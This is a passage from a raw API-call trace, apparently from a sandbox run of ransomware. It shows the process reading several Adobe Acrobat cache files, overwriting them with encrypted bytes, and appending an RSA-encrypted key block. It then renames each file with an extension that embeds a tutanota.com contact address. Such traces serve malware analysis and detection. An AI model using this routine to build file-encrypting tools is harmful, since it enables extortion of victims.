pcchString=0x2e3f9a8) returned 1 [0192.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.598] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="b2EK+JOcXXmv1EZiugzD2iiggerVEvWV0qmTVmi3/8daOjqUK0+KC2EyvIUkTiQj\nBNALF09KRvSDe0pnmN2o8YtN1695qf33YJ8cbdDqtUvtLau7Uipi4snQptNLBVJq\n6tqBmV6qFOcBW7mzh+rPWWhbpzv9A3J8s8WbEbQDQSpcGn6cxT48KrVs2BGj14kX\npRLtfhp7ITW9GVTv7YjCHCOWx0/HA6LrdHmkxFmXuevTSKx/QolV9bR2qzuEoCOm\nGLTiQtyu8TwMEjcY+yxnBUy9k8sk2t5IR6r5OP4XF95YB7x7g5hINU7I5mpn3bGT\nDWOdtfny+PSmJuL2iY+uZA==\n", pcchString=0x2e3f9a8) returned 1 [0192.598] WriteFile (in: hFile=0x9f0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.598] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.598] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.598] CloseHandle (hObject=0x9f0) returned 1 [0192.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.598] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\SharedDataEvents.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\shareddataevents.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c170 | out: hHeap=0x570000) returned 1 [0192.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e98 | out: hHeap=0x570000) returned 1 [0192.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0192.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0192.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d2e8 [0192.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0192.600] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.600] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat", dwFileAttributes=0x80) returned 1 [0192.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cb30 [0192.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x652490 [0192.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cb30 | out: hHeap=0x570000) returned 1 [0192.600] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0192.601] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=109228) returned 1 [0192.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1aaac) returned 0x2f89888 [0192.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1aaac) returned 0x2fa4340 [0192.601] ReadFile (in: hFile=0x9f0, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x1aaac, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x1aaac, lpOverlapped=0x0) returned 1 [0192.795] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=-109228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.795] WriteFile (in: hFile=0x9f0, lpBuffer=0x2fa4340*, nNumberOfBytesToWrite=0x1aaac, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fa4340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1aaac, lpOverlapped=0x0) returned 1 [0192.795] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.796] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fa4340 | out: hHeap=0x570000) returned 1 [0192.796] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1aaac [0192.796] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.796] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.796] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.796] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.796] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.796] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.796] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8AQuptgZm79uteSaZ8cYD5G9XdsvVdmEysbtRXxTyy03XP12XfS6PUflcsP+NhNg\nE+q8y84IFMtDEhAtZ0/cRHRYlZWc8WVxgEMVoKkudqZ3vmrGv9+/0dj0GBQBPQ5H\nP6+GYKfbYcNNucxPtUbtOTXMvBtR+/zZazF6CTS08sUKUZw8UhqlMfdricrHuJ6m\nJAKNvjNPDxcatRlXsWL5TE9zLCq1sAbTVV6odAfvaQQalhjku15D90tNtocp10eF\n5GmHNYCYIMD1NEd3/+OkecLUZTR/CIbhjp634jX2HhXru2JVkS/eNO7vKOsugl8h\nQrml6PLhmV+OU35PNq+gbQ==\n", pcchString=0x2e3f9a8) returned 1 [0192.796] WriteFile (in: hFile=0x9f0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.796] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.796] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.796] CloseHandle (hObject=0x9f0) returned 1 [0192.796] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.797] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr65536.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0192.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0192.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d2e8 | out: hHeap=0x570000) returned 1 [0192.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cff0 | out: hHeap=0x570000) returned 1 [0192.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0192.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0192.798] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.798] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat", dwFileAttributes=0x80) returned 1 [0192.799] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0192.799] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66b9d8 [0192.799] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0192.799] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0192.799] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=63152) returned 1 [0192.799] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf6b0) returned 0x2f89888 [0192.799] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf6b0) returned 0x2f98f40 [0192.799] ReadFile (in: hFile=0x9f0, lpBuffer=0x2f89888, nNumberOfBytesToRead=0xf6b0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0xf6b0, lpOverlapped=0x0) returned 1 [0193.000] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=-63152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.000] WriteFile (in: hFile=0x9f0, lpBuffer=0x2f98f40*, nNumberOfBytesToWrite=0xf6b0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f98f40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf6b0, lpOverlapped=0x0) returned 1 [0193.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0193.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f98f40 | out: hHeap=0x570000) returned 1 [0193.000] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf6b0 [0193.000] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.000] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0193.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ecrApQkbU6ys7aNF/zHuD+6oi0RaR+zlTw5blUME8Nz9l6Zm/1J4W1HvbnM6YPVN\ntNIVcmcCACBfKtTXcxZNHuBbcgu+bok/dn0B6QxVE2/jLS693reLzM4Q0m02C8kp\nwjwYd0v7of1N0OgtKWgCAJ7t5BF/stXJ6idAwzKhx228QfmGJlEfbC4KQYSCK1GO\n3gQXV4wzxywGld14TSWLqVWHUV9Hh/p2iPH9YqyXj1Kn+TpnSecsAIQxknoA2Kmy\nMiqRCGDbIUF6zLJOypZUlioavyJ71Vm0slcXDQlph3fP/nu8Hsqm/qc9wTANmHo3\nE617rW2AW+3W1PjBeMBGMg==\n", pcchString=0x2e3f9a8) returned 1 [0193.001] WriteFile (in: hFile=0x9f0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.001] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.001] CloseHandle (hObject=0x9f0) returned 1 [0193.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.001] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\iconcacherdr.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66b9d8 | out: hHeap=0x570000) returned 1 [0193.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0193.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0193.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0193.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0193.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0193.003] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.003] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst", dwFileAttributes=0x80) returned 1 [0193.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0193.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66b9d8 [0193.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0193.004] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0193.004] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=150615) returned 1 [0193.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24c57) returned 0x2f89888 [0193.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24c57) returned 0x2fae4e8 [0193.005] ReadFile (in: hFile=0x9f0, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x24c57, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x24c57, lpOverlapped=0x0) returned 1 [0193.087] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=-150615, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.087] WriteFile (in: hFile=0x9f0, lpBuffer=0x2fae4e8*, nNumberOfBytesToWrite=0x24c57, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fae4e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x24c57, lpOverlapped=0x0) returned 1 [0193.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0193.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae4e8 | out: hHeap=0x570000) returned 1 [0193.088] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x24c57 [0193.088] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.088] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.088] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.088] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.089] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0193.089] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BLZh02CchxX1bLk4VQiczI3mwuPULmPG2BHUBIHGKBcY/4r5sM4bX81y9d3LLfd0\nlPPsuocYmjFE4/kgjD6+TteYl0TreXtdG256moVk8811F3rLMQzUVuumr8wavVAG\nqU9co+R2GmluI0SjDJ0YZwOchym+AOvEnK+jd+odmUIXt3FiqTe4AMjzmSbzBGlK\nA2sKvw5vXUGyCpSUVTzrqf5rnV80gtqKDIC4VpKrZOdtK5SU0EWs/rRSpXloA7kg\ncryYpAkDWQ0aPqxph1StByzCImxyj5gmzrIXpEOlP1ObI7UaEG82/jHBNEb2YKPz\nSFkCHmIsCUklXYEzyk9hWQ==\n", pcchString=0x2e3f9a8) returned 1 [0193.089] WriteFile (in: hFile=0x9f0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0193.089] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.089] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.089] CloseHandle (hObject=0x9f0) returned 1 [0193.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0193.089] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobesysfnt15.lst.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0193.314] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66b9d8 | out: hHeap=0x570000) returned 1 [0193.314] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0193.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0193.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0193.315] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0193.315] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0193.315] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0193.315] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst", dwFileAttributes=0x80) returned 1 [0193.315] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0193.315] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c320 [0193.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0193.315] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\adobecmapfnt15.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0193.316] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1035) returned 1 [0193.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40b) returned 0x66e148 [0193.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40b) returned 0x66e560 [0193.316] ReadFile (in: hFile=0x9f0, lpBuffer=0x66e148, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e148*, lpNumberOfBytesRead=0x2e3f9b4*=0x40b, lpOverlapped=0x0) returned 1 [0193.359] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=-1035, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.359] WriteFile (in: hFile=0x9f0, lpBuffer=0x66e560*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e560*, lpNumberOfBytesWritten=0x2e3f9b4*=0x40b, lpOverlapped=0x0) returned 1 [0193.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e148 | out: hHeap=0x570000) returned 1 [0193.359] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e560 | out: hHeap=0x570000) returned 1 [0193.359] SetFilePointer (in: hFile=0x9f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x40b [0193.360] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0193.360] WriteFile (in: hFile=0x9f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0193.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0193.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0193.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0193.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0193.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="f9aKWx8Uzw445RHiKRuQcOTx+GwpCSMMRjFCYPRZpkmvkhbEv9csb37CbL0ALhiP\n7vSGtuRCi/QRbYvByVWwIpk5nSFYM1h9LBx2SHPMH5eGQseI3hwh+LTJGZq+ZE2Q\nc3ml4sMtaMxQu1Qo5cacAg6cuavOhxtQmMx06FBI21hOan/gNjNlxvYodXd4i9h0\nHFBjus71Wi8q+krVamAcvOKBwAw4bZHF1fC/0EtgvzVNDXYQrSfa+NLTeJOzvIBP\n/cbx2Y2jVY6ZAFqkc2gmjSEPaeXIihgfRQUtT+N7gUe7VqJz9wwee+zwsxdcR94L\n/IQmCqMYyTK+8JmVgAIFZw==\n", pcchString=0x2e3f9a8) returned 1 [0193.360] WriteFile (in: hFile=0x9f0, lpBuffer=0x5a8108*, 